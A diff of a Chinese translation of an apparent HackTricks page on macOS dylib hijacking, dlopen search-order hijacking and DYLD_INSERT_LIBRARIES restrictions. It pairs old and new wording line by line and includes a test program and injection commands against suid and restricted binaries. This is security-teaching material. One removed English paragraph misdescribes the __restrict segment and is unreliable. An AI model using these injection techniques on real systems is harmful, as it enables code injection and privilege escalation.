即使二进制文件允许使用**`DYLD_INSERT_LIBRARIES`**环境变量,如果二进制文件检查要加载的库的签名,它将不会加载自定义库。
|
即使二进制文件允许使用 **`DYLD_INSERT_LIBRARIES`** 环境变量,如果二进制文件检查要加载的库的签名,它不会加载自定义内容。
|
||||||
|
|
||||||
为了加载自定义库,二进制文件需要具有以下权限之一:
|
为了加载自定义库,二进制文件需要具有以下**之一的权利**:
|
||||||
|
|
||||||
*  [`com.apple.security.cs.disable-library-validation`](../../macos-security-protections/macos-dangerous-entitlements.md#com.apple.security.cs.disable-library-validation)
|
*  [`com.apple.security.cs.disable-library-validation`](../../macos-security-protections/macos-dangerous-entitlements.md#com.apple.security.cs.disable-library-validation)
|
||||||
* [`com.apple.private.security.clear-library-validation`](../../macos-security-protections/macos-dangerous-entitlements.md#com.apple.private.security.clear-library-validation)
|
* [`com.apple.private.security.clear-library-validation`](../../macos-security-protections/macos-dangerous-entitlements.md#com.apple.private.security.clear-library-validation)
|
||||||
|
|
||||||
或者二进制文件**不应该**具有**强化运行时标志**或**库验证标志**。
|
或者二进制文件**不应该**有**加固的运行时标志**或**库验证标志**。
|
||||||
|
|
||||||
您可以使用`codesign --display --verbose <bin>`检查二进制文件是否具有**强化运行时**,并检查**`CodeDirectory`**中的标志运行时,例如:**`CodeDirectory v=20500 size=767 flags=0x10000(runtime) hashes=13+7 location=embedded`**
|
您可以使用 `codesign --display --verbose <bin>` 检查二进制文件是否具有**加固的运行时**,检查 **`CodeDirectory`** 中的 runtime 标志,如:**`CodeDirectory v=20500 size=767 flags=0x10000(runtime) hashes=13+7 location=embedded`**
|
||||||
|
|
||||||
如果**使用与二进制文件相同的证书签名**,也可以加载库。
|
您还可以加载一个库,如果它**与二进制文件使用相同的证书签名**。
|
||||||
|
|
||||||
在以下示例中找到如何(滥用)使用此功能并检查限制:
|
在以下位置找到如何(滥用)此功能并检查限制的示例:
|
||||||
|
|
||||||
{% content-ref url="../../macos-dyld-hijacking-and-dyld_insert_libraries.md" %}
|
{% content-ref url="../../macos-dyld-hijacking-and-dyld_insert_libraries.md" %}
|
||||||
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](../../macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
|
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](../../macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
## Dylib劫持
|
|
||||||
|
## Dylib 劫持
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
请记住,执行Dylib劫持攻击时,**之前的库验证限制也适用**。
|
记住,**之前的库验证限制也适用于**执行 Dylib 劫持攻击。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
与Windows一样,在MacOS中,您也可以**劫持dylibs**以使**应用程序**执行**任意代码**。\
|
与 Windows 一样,在 MacOS 中,您也可以**劫持 dylibs** 以使**应用程序** **执行** **任意** **代码**。\
|
||||||
然而,MacOS应用程序加载库的方式比Windows更受限制。这意味着**恶意软件**开发人员仍然可以使用这种技术进行**隐蔽**,但是滥用此技术以**提升权限的可能性要低得多**。
|
然而,**MacOS** 应用程序**加载**库的方式比 Windows 更**受限制**。这意味着**恶意软件**开发人员仍然可以使用这种技术进行**隐身**,但能够**滥用此功能以提升权限的可能性要低得多**。
|
||||||
|
|
||||||
首先,**更常见的是**在**MacOS二进制文件中找到指示库的完整路径**。其次,**MacOS从不在$PATH文件夹中搜索**库。
|
首先,更常见的是发现**MacOS 二进制文件指示加载库的完整路径**。其次,**MacOS 从不在** **$PATH** 文件夹中搜索库。
|
||||||
|
|
||||||
与此功能相关的**代码的主要部分**位于`ImageLoader.cpp`中的**`ImageLoader::recursiveLoadLibraries`**中。
|
与此功能相关的**主要**部分**代码**在 `ImageLoader.cpp` 中的 **`ImageLoader::recursiveLoadLibraries`**。
|
||||||
|
|
||||||
Macho二进制文件可以使用**4个不同的头命令**来加载库:
|
macho 二进制文件可以使用四种不同的头部命令来加载库:
|
||||||
|
|
||||||
* **`LC_LOAD_DYLIB`**命令是加载dylib的常见命令。
|
* **`LC_LOAD_DYLIB`** 命令是加载 dylib 的常见命令。
|
||||||
* **`LC_LOAD_WEAK_DYLIB`**命令与前一个命令类似,但如果找不到dylib,则继续执行而不会出现任何错误。
|
* **`LC_LOAD_WEAK_DYLIB`** 命令的工作原理与前一个相同,但如果找不到 dylib,执行将继续而不会出现任何错误。
|
||||||
* **`LC_REEXPORT_DYLIB`**命令代理(或重新导出)来自不同库的符号。
|
* **`LC_REEXPORT_DYLIB`** 命令它代理(或重新导出)来自不同库的符号。
|
||||||
* **`LC_LOAD_UPWARD_DYLIB`**命令在两个库相互依赖时使用(这称为_向上依赖_)。
|
* **`LC_LOAD_UPWARD_DYLIB`** 命令在两个库相互依赖时使用(这称为向上依赖)。
|
||||||
|
|
||||||
然而,有**2种类型的dylib劫持**:
|
然而,有**两种类型的 dylib 劫持**:
|
||||||
|
|
||||||
* **缺少弱链接库**:这意味着应用程序将尝试加载一个使用**LC\_LOAD\_WEAK\_DYLIB**配置的不存在的库。然后,**如果攻击者将dylib放在预期位置,它将被加载**。
|
* **缺少弱链接库**:这意味着应用程序将尝试加载一个不存在的库,配置为 **LC\_LOAD\_WEAK\_DYLIB**。然后,**如果攻击者将 dylib 放在预期的位置,它将被加载**。
|
||||||
* 链接是“弱链接”的事实意味着即使找不到库,应用程序也将继续运行。
|
* 链接是“弱”的事实意味着即使找不到库,应用程序也会继续运行。
|
||||||
* 与此相关的**代码**位于`ImageLoaderMachO.cpp`的`ImageLoaderMachO::doGetDependentLibraries`函数中,其中`lib->required`仅在`LC_LOAD_WEAK_DYLIB`为true时为`false`。
|
* 与此相关的**代码**在 `ImageLoaderMachO.cpp` 中的函数 `ImageLoaderMachO::doGetDependentLibraries` 中,其中 `lib->required` 仅在 `LC_LOAD_WEAK_DYLIB` 为真时为 `false`。
|
||||||
* 使用以下命令在二进制文件中**查找弱链接库**(稍后将为您提供一个创建劫持库的示例):
|
* **在二进制文件中查找弱链接库**(稍后您有一个如何创建劫持库的示例):
|
||||||
* ```bash
|
* ```bash
|
||||||
otool -l </path/to/bin> | grep LC_LOAD_WEAK_DYLIB -A 5 cmd LC_LOAD_WEAK_DYLIB
|
otool -l </path/to/bin> | grep LC_LOAD_WEAK_DYLIB -A 5 cmd LC_LOAD_WEAK_DYLIB
|
||||||
cmdsize 56
|
cmdsize 56
|
||||||
|
@ -93,26 +96,26 @@ time stamp 2 Wed Jun 21 12:23:31 1969
|
||||||
current version 1.0.0
|
current version 1.0.0
|
||||||
compatibility version 1.0.0
|
compatibility version 1.0.0
|
||||||
```
|
```
|
||||||
* **配置为@rpath**:Mach-O二进制文件可以具有**`LC_RPATH`**和**`LC_LOAD_DYLIB`**命令。根据这些命令的**值**,将从**不同目录**加载库。
|
* **配置为 @rpath**:Mach-O 二进制文件可以有命令 **`LC_RPATH`** 和 **`LC_LOAD_DYLIB`**。基于这些命令的**值**,**库**将从**不同的目录**中**加载**。
|
||||||
* **`LC_RPATH`**包含用于通过二进制文件加载库的某些文件夹的路径。
|
* **`LC_RPATH`** 包含二进制文件用于加载库的一些文件夹的路径。
|
||||||
* **`LC_LOAD_DYLIB`**包含要加载的特定库的路径。这些路径可以包含**`@rpath`**,它将被**`LC_RPATH`**中的值**替换**。如果**`LC_RPATH`**中有多个路径,每个路径都将用于搜索要加载的库。示例:
|
* **`LC_LOAD_DYLIB`** 包含要加载的特定库的路径。这些路径可以包含 **`@rpath`**,它将被 **`LC_RPATH`** 中的值**替换**。如果 **`LC_RPATH`** 中有几个路径,每个人都将被用来搜索要加载的库。例如:
|
||||||
* 如果**`LC_LOAD_DYLIB`**包含`@rpath/library.dylib`,而**`LC_RPATH`**包含`/application/app.app/Contents/Framework/v1/`和`/application/app.app/Contents/Framework/v2/`。两个文件夹都将用于加载`library.dylib`**。**如果库在`[...]/v1/`中不存在,并且攻击者可以将其放在`[...]/v2/`中以劫持库的加载,因为遵循**`LC_LOAD_DYLIB`**中路径的顺序。
|
* 如果 **`LC_LOAD_DYLIB`** 包含 `@rpath/library.dylib` 并且 **`LC_RPATH`** 包含 `/application/app.app/Contents/Framework/v1/` 和 `/application/app.app/Contents/Framework/v2/`。两个文件夹都将被用来加载 `library.dylib`**。** 如果库在 `[...]/v1/` 中不存在,并且攻击者可以将其放在那里以劫持 `[...]/v2/` 中的库加载,因为遵循 **`LC_LOAD_DYLIB`** 中的路径顺序。
|
||||||
* 使用以下命令在二进制文件中**查找rpath路径和库**:`otool -l </path/to/binary> | grep -E "LC_RPATH|LC_LOAD_DYLIB" -A 5`
|
* **在二进制文件中查找 rpath 路径和库**:`otool -l </path/to/binary> | grep -E "LC_RPATH|LC_LOAD_DYLIB" -A 5`
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
**`@executable_path`**:是包含**主可执行文件**的**目录路径**。
|
**`@executable_path`**:是指向包含**主执行文件**的目录的**路径**。
|
||||||
|
|
||||||
**`@loader_path`**:是包含包含加载命令的**Mach-O二进制文件**的**目录路径**。
|
**`@loader_path`**:是指向包含包含加载命令的**Mach-O 二进制文件**的**目录**的**路径**。
|
||||||
|
|
||||||
* 在可执行文件中使用时,**`@loader_path`**实际上与**`@executable_path`**相同。
|
* 在可执行文件中使用时,**`@loader_path`** 实际上与 **`@executable_path`** **相同**。
|
||||||
* 在**dylib**中使用时,**`@loader_path`**给出了**dylib**的路径。
|
* 在 **dylib** 中使用时,**`@loader_path`** 提供了指向 **dylib** 的**路径**。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
滥用此功能以**提升权限**的方式是在**以root身份执行的应用程序**中,该应用程序正在**查找**某个**具有写权限的文件夹中的某个库**的情况下。
|
通过滥用此功能**提升权限**的方式将是在罕见的情况下,一个**由 root 执行的应用程序**正在**寻找**某个**库**,攻击者在其中拥有写权限的某个文件夹。
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
一个很好的用于查找应用程序中**缺少库**的**扫描工具**是[**Dylib Hijack Scanner**](https://objective-see.com/products/dhs.html)或[**CLI版本**](https://github.com/pandazheng/DylibHijack)。\
|
一个不错的**扫描器**来查找应用程序中的**缺失库**是 [**Dylib 劫持扫描器**](https://objective-see.com/products/dhs.html) 或 [**CLI 版本**](https://github.com/pandazheng/DylibHijack)。\
|
||||||
关于此技术的技术细节的一个很好的**报告**可以在[**此处**](https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x)找到。
|
关于这项技术的**技术细节报告**可以在[**这里**](https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x)找到。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**示例**
|
**示例**
|
||||||
|
@ -121,69 +124,45 @@ compatibility version 1.0.0
|
||||||
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](../../macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
|
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](../../macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
## Dlopen劫持
|
## Dlopen 劫持
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
请记住,执行Dlopen劫持攻击时,**之前的库验证限制也适用**。
|
记住,**之前的库验证限制也适用于**执行 Dlopen 劫持攻击。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
来自**`man dlopen`**:
|
从 **`man dlopen`**:
|
||||||
|
|
||||||
* 当路径**不包含斜杠字符**(即仅为叶子名称)时,**dlopen()将进行搜索**。如果在启动时设置了**`$DYLD_LIBRARY_PATH`**,dyld将首先在该目录中**查找**。接下来,如果调用的mach-o文件或主可执行文件指定了**`LC_RPATH`**,那么dyld将在这些目录中**查找**。接下来,如果进程是**不受限制的**,dyld将在**当前工作目录**中搜索。最后,对于旧的二进制文件,dyld将尝试一些回退。如果在启动时设置了**`$DYLD_FALLBACK_LIBRARY_PATH`**,dyld将在**这些目录**中搜索,否则,dyld将在**`/usr/local/lib/`**(如果进程是不受限制的)中搜索,然后在**`/usr/lib/`**中搜索(此信息来自**`man dlopen`**)。
|
* 当路径**不包含斜杠字符**(即它只是一个叶子名称)时,**dlopen() 将进行搜索**。如果在启动时设置了 **`$DYLD_LIBRARY_PATH`**,dyld 首先将**在该目录中查找**。接下来,如果调用 mach-o 文件或主执行文件指定了 **`LC_RPATH`**,那么 dyld 将**在这些目录中查找**。接下来,如果进程**不受限制**,dyld 将在**当前工作目录**中搜索。最后,对于旧的二进制文件,dyld 将尝试一些后备方案。如果在启动时设置了 **`$DYLD_FALLBACK_LIBRARY_PATH`**,dyld 将在**这些目录中搜索**,否则,dyld 将在 **`/usr/local/lib/`** 中查找(如果进程不受限制),然后在 **`/usr/lib/`** 中查找(此信息取自 **`man dlopen`**)。
|
||||||
1. `$DYLD_LIBRARY_PATH`
|
1. `$DYLD_LIBRARY_PATH`
|
||||||
2. `LC_RPATH`
|
2. `LC_RPATH`
|
||||||
3. `CWD`(如果不受限制)
|
3. `CWD`(如果不受限制)
|
||||||
4. `$DYLD_FALLBACK_LIBRARY_PATH`
|
4. `$DYLD_FALLBACK_LIBRARY_PATH`
|
||||||
5. `/usr/local/lib/`(如果不受限制)
|
5. `/usr/local/lib/` (如果不受限制)
|
||||||
6. `/usr/lib/`
|
6. `/usr/lib/`
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
如果名称中没有斜杠,有两种方法可以进行劫持:
|
如果名称中没有斜杠,有两种方式可以进行劫持:
|
||||||
|
|
||||||
* 如果任何**`LC_RPATH`**是**可写的**(但是签名会被检查,因此您还需要二进制文件是不受限制的)
|
* 如果任何 **`LC_RPATH`** 是**可写的**(但签名会被检查,所以对此你还需要二进制文件不受限制)
|
||||||
* 如果二进制文件是**不受限制的**,那么可以从CWD中加载某些内容(或滥用其中提到的环境变量之一)
|
* 如果二进制文件**不受限制**,那么可以从 CWD 加载某些内容(或滥用上述提到的环境变量)
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
* 当路径**看起来像是框架**路径(例如`/stuff/foo.framework/foo`)时,如果在启动时设置了**`$DYLD_FRAMEWORK_PATH`**,dyld将首先在该目录中查找**框架的部分路径**(例如`foo.framework/foo`)。接下来,dyld将尝试使用**提供的路径**(对于相对路径,使用当前工作目录)进行查找。最后,对于旧的二进制文件,dyld将尝试一些回退。如果在启动时设置了**`$DYLD_FALLBACK_FRAMEWORK_PATH`**,dyld将在这些目录中搜索。否则,它将在**`/Library/Frameworks`**(在macOS上,如果进程不受限制)和**`/System/Library/Frameworks`**中搜索。
|
|
||||||
|
|
||||||
|
* 当路径**看起来像框架路径**(例如 `/stuff/foo.framework/foo`),如果在启动时设置了 **`$DYLD_FRAMEWORK_PATH`**,dyld 首先会在该目录中查找**框架部分路径**(例如 `foo.framework/foo`)。接下来,dyld 将尝试**按原样提供的路径**(对于相对路径使用当前工作目录)。最后,对于旧的二进制文件,dyld 将尝试一些后备方案。如果在启动时设置了 **`$DYLD_FALLBACK_FRAMEWORK_PATH`**,dyld 将搜索这些目录。否则,它将搜索 **`/Library/Frameworks`**(在 macOS 上如果进程不受限制),然后是 **`/System/Library/Frameworks`**。
|
||||||
1. `$DYLD_FRAMEWORK_PATH`
|
1. `$DYLD_FRAMEWORK_PATH`
|
||||||
2. 提供的路径(对于相对路径,如果不受限制,则使用当前工作目录)
|
2. 提供的路径(如果不受限制,使用当前工作目录的相对路径)
|
||||||
3. `$DYLD_FALLBACK_FRAMEWORK_PATH`
|
3. `$DYLD_FALLBACK_FRAMEWORK_PATH`
|
||||||
4. `/Library/Frameworks`(如果不受限制)
|
4. `/Library/Frameworks` (如果不受限制)
|
||||||
5. `/System/Library/Frameworks`
|
5. `/System/Library/Frameworks`
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
如果是框架路径,劫持的方法是:
|
如果是框架路径,劫持的方式将是:
|
||||||
|
|
||||||
* 如果进程**不受限制**,滥用来自CWD的**相对路径**和上述环境变量(即使文档中没有提到进程是否受限制,DYLD\_\*环境变量会被删除)
|
* 如果进程**不受限制**,滥用**相对于 CWD 的相对路径**提到的环境变量(即使在文档中没有说如果进程受限制 DYLD\_\* 环境变量会被移除)
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
* 当路径**包含斜杠但不是框架路径**(即完整路径或dylib的部分路径)时,dlopen()首先在(如果设置了)**`$DYLD_LIBRARY_PATH`**中查找(使用路径的末尾部分)。接下来,dyld将尝试使用**提供的路径**(对于相对路径,仅对于不受限制的进程)进行查找。最后,对于旧的二进制文件,dyld将尝试一些回退。如果在启动时设置了**`$DYLD_FALLBACK_LIBRARY_PATH`**,dyld将在这些目录中搜索,否则,dyld将在**`/usr/local/lib/`**(如果进程不受限制)和**`/usr/lib/`**中查找。
|
* 当路径**包含斜杠但不是框架路径**(即完整路径或指向 dylib 的部分路径)时,dlopen() 首先在(如果设置)**`$DYLD_LIBRARY_PATH`** 中查找(带有路径的叶子部分)。接下来,dyld **尝试提供的路径**(对于相对路径使用当前工作目录(但仅适用于不受限制的进程))。最后,对于较旧的二进制文件,dyld 将尝试后备方案。如果在启动时设置了 **`$DYLD_FALLBACK_LIBRARY_PATH`**,dyld 将在这些目录中搜索,否则,dyld 将在 **`/usr/local/lib/`** 中查找(如果进程不受限制),然后在 **`/usr/lib/`** 中查找。
|
||||||
|
|
||||||
1. `$DYLD_LIBRARY_PATH`
|
1. `$DYLD_LIBRARY_PATH`
|
||||||
2. 提供的路径(对于相对路径,如果不受限制,则使用当前工作目录)
|
2. 提供的路径(如果不
|
||||||
3. `$DYLD_FALLBACK_LIBRARY_PATH`
|
|
||||||
4. `/usr/local/lib/`(如果不受限制)
|
|
||||||
5. `/usr/lib/`
|
|
||||||
|
|
||||||
{% hint style="danger" %}
|
|
||||||
如果名称中包含斜杠而不是框架,劫持的方法是:
|
|
||||||
|
|
||||||
* 如果二进制文件**不受限制**,则可以从CWD或`/usr/local/lib`加载内容(或滥用上述环境变量之一)
|
|
||||||
{% endhint %}
|
|
||||||
|
|
||||||
{% hint style="info" %}
|
|
||||||
注意:**没有**配置文件来**控制dlopen搜索**。
|
|
||||||
|
|
||||||
注意:如果主可执行文件是**set\[ug]id二进制文件或使用授权签名**,则**所有环境变量都会被忽略**,只能使用完整路径(有关更详细的信息,请查看[检查DYLD\_INSERT\_LIBRARIES限制](../../macos-dyld-hijacking-and-dyld\_insert\_libraries.md#check-dyld\_insert\_librery-restrictions))。
|
|
||||||
|
|
||||||
注意:Apple平台使用“通用”文件来组合32位和64位库。这意味着**没有单独的32位和64位搜索路径**。
|
|
||||||
|
|
||||||
注意:在Apple平台上,大多数操作系统dylib都**合并到dyld缓存中**,并且不存在于磁盘上。因此,调用**`stat()`**来预先检查操作系统dylib是否存在**不起作用**。但是,**`dlopen_preflight()`**使用与**`dlopen()`**相同的步骤来查找兼容的mach-o文件。
|
|
||||||
{% endhint %}
|
|
||||||
|
|
||||||
**检查路径**
|
|
||||||
|
|
||||||
让我们使用以下代码检查所有选项:
|
|
||||||
```c
|
```c
|
||||||
// gcc dlopentest.c -o dlopentest -Wl,-rpath,/tmp/test
|
// gcc dlopentest.c -o dlopentest -Wl,-rpath,/tmp/test
|
||||||
#include <dlfcn.h>
|
#include <dlfcn.h>
|
||||||
|
@ -226,27 +205,27 @@ fprintf(stderr, "Error loading: %s\n\n\n", dlerror());
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
如果您编译并执行它,您可以看到**每个库未成功搜索的位置**。此外,您可以**过滤文件系统日志**:
|
如果您编译并执行它,您可以看到**每个库未成功搜索的位置**。此外,您还可以**过滤FS日志**:
|
||||||
```bash
|
```bash
|
||||||
sudo fs_usage | grep "dlopentest"
|
sudo fs_usage | grep "dlopentest"
|
||||||
```
|
```
|
||||||
## 相对路径劫持
|
## 相对路径劫持
|
||||||
|
|
||||||
如果一个**特权二进制应用程序**(比如SUID或者具有强大权限的二进制应用程序)正在加载一个**相对路径**库(例如使用`@executable_path`或者`@loader_path`),并且**禁用了库验证**,那么攻击者可以将二进制应用程序移动到一个位置,从而能够修改被加载的相对路径库,并滥用它来向进程中注入代码。
|
如果一个**具有特权的二进制文件/应用程序**(如 SUID 或具有强大权限的某些二进制文件)正在**加载相对路径库**(例如使用 `@executable_path` 或 `@loader_path`)并且**禁用了库验证**,那么有可能将二进制文件移动到攻击者可以**修改相对路径加载库**的位置,并滥用它在进程中注入代码。
|
||||||
|
|
||||||
## 清除`DYLD_*`和`LD_LIBRARY_PATH`环境变量
|
## 清除 `DYLD_*` 和 `LD_LIBRARY_PATH` 环境变量
|
||||||
|
|
||||||
在文件`dyld-dyld-832.7.1/src/dyld2.cpp`中,可以找到函数**`pruneEnvironmentVariables`**,它将删除任何以`DYLD_`开头和`LD_LIBRARY_PATH=`的环境变量。
|
在文件 `dyld-dyld-832.7.1/src/dyld2.cpp` 中,可以找到函数**`pruneEnvironmentVariables`**,它将删除任何以 **`DYLD_`** 开头和 **`LD_LIBRARY_PATH=`** 的环境变量。
|
||||||
|
|
||||||
对于**suid**和**sgid**二进制文件,它还会将环境变量**`DYLD_FALLBACK_FRAMEWORK_PATH`**和**`DYLD_FALLBACK_LIBRARY_PATH`**设置为**null**。
|
对于**suid** 和 **sgid** 二进制文件,它还会将环境变量 **`DYLD_FALLBACK_FRAMEWORK_PATH`** 和 **`DYLD_FALLBACK_LIBRARY_PATH`** 特别设置为**空**。
|
||||||
|
|
||||||
如果目标是OSX,该函数将从同一文件的**`_main`**函数中调用。
|
如果针对 OSX,这个函数会从同一文件的 **`_main`** 函数中被调用,如下所示:
|
||||||
```cpp
|
```cpp
|
||||||
#if TARGET_OS_OSX
|
#if TARGET_OS_OSX
|
||||||
if ( !gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache ) {
|
if ( !gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache ) {
|
||||||
pruneEnvironmentVariables(envp, &apple);
|
pruneEnvironmentVariables(envp, &apple);
|
||||||
```
|
```
|
||||||
并且这些布尔标志在代码中的同一个文件中设置:
|
和这些布尔标志在代码中的同一个文件中设置:
|
||||||
```cpp
|
```cpp
|
||||||
#if TARGET_OS_OSX
|
#if TARGET_OS_OSX
|
||||||
// support chrooting from old kernel
|
// support chrooting from old kernel
|
||||||
|
@ -277,13 +256,13 @@ gLinkContext.allowClassicFallbackPaths = !isRestricted;
|
||||||
gLinkContext.allowInsertFailures = false;
|
gLinkContext.allowInsertFailures = false;
|
||||||
gLinkContext.allowInterposing = true;
|
gLinkContext.allowInterposing = true;
|
||||||
```
|
```
|
||||||
这基本上意味着,如果二进制文件是**suid**或**sgid**,或者在头部有一个**RESTRICT**段,或者使用**CS\_RESTRICT**标志进行签名,那么**`!gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache`**为真,环境变量将被修剪。
|
|
||||||
|
|
||||||
请注意,如果CS\_REQUIRE\_LV为真,则变量不会被修剪,但库验证将检查它们是否使用与原始二进制文件相同的证书。
|
|
||||||
|
|
||||||
## 检查限制
|
## 检查限制
|
||||||
|
|
||||||
### SUID和SGID
|
### SUID & SGID
|
||||||
|
|
||||||
|
基本上意味着,如果二进制文件是 **suid** 或 **sgid**,或者在头部有 **RESTRICT** 段,或者它是用 **CS\_RESTRICT** 标志签名的,那么 **`!gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache`** 将为真,环境变量将被剪裁。
|
||||||
|
|
||||||
|
注意,如果 CS\_REQUIRE\_LV 为真,则变量不会被剪裁,但库验证将检查它们是否使用与原始二进制文件相同的证书。
|
||||||
```bash
|
```bash
|
||||||
# Make it owned by root and suid
|
# Make it owned by root and suid
|
||||||
sudo chown root hello
|
sudo chown root hello
|
||||||
|
@ -294,20 +273,14 @@ DYLD_INSERT_LIBRARIES=inject.dylib ./hello
|
||||||
# Remove suid
|
# Remove suid
|
||||||
sudo chmod -s hello
|
sudo chmod -s hello
|
||||||
```
|
```
|
||||||
### `__RESTRICT`部分与`__restrict`段
|
### 部分 `__RESTRICT` 与段 `__restrict`
|
||||||
|
|
||||||
The `__RESTRICT` section is a segment in macOS that is used to restrict the execution of certain processes. It is designed to prevent unauthorized access and privilege escalation by limiting the capabilities of processes running in this section.
|
|
||||||
|
|
||||||
The `__restrict` segment, on the other hand, is a specific segment within the `__RESTRICT` section that is used for library injection. Library injection is a technique used by hackers to inject malicious code into a legitimate process by loading a malicious library into its memory space.
|
|
||||||
|
|
||||||
By understanding the `__RESTRICT` section and the `__restrict` segment, hackers can exploit vulnerabilities in the macOS system to gain unauthorized access and escalate their privileges. It is important for security professionals to be aware of these techniques in order to protect against potential attacks.
|
|
||||||
```bash
|
```bash
|
||||||
gcc -sectcreate __RESTRICT __restrict /dev/null hello.c -o hello-restrict
|
gcc -sectcreate __RESTRICT __restrict /dev/null hello.c -o hello-restrict
|
||||||
DYLD_INSERT_LIBRARIES=inject.dylib ./hello-restrict
|
DYLD_INSERT_LIBRARIES=inject.dylib ./hello-restrict
|
||||||
```
|
```
|
||||||
### 强化运行时
|
### 强化运行时
|
||||||
|
|
||||||
在钥匙串中创建一个新的证书,并使用它对二进制文件进行签名:
|
在钥匙串中创建一个新证书,并使用它来对二进制文件进行签名:
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
|
@ -332,23 +305,25 @@ DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed # Won't work
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
请注意,即使有用标志**`0x0(none)`**签名的二进制文件,当执行时它们也可以动态地获得**`CS_RESTRICT`**标志,因此这种技术在它们上面不起作用。
|
请注意,即使有些二进制文件被标记为 **`0x0(none)`**,它们在执行时也可能动态获得 **`CS_RESTRICT`** 标志,因此这种技术在这些进程上不会起作用。
|
||||||
|
|
||||||
您可以使用以下命令检查进程是否具有此标志(获取[**csops here**](https://github.com/axelexic/CSOps)): 
|
您可以使用以下命令检查进程是否具有此标志(获取 [**csops 在这里**](https://github.com/axelexic/CSOps)): 
|
||||||
```bash
|
```bash
|
||||||
csops -status <pid>
|
csops -status <pid>
|
||||||
```
|
```
|
||||||
然后检查是否启用了标志位0x800。
|
然后检查是否启用了标志0x800。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
<summary><strong>从零开始学习AWS黑客攻击直到成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
支持HackTricks的其他方式:
|
||||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,20 +2,22 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
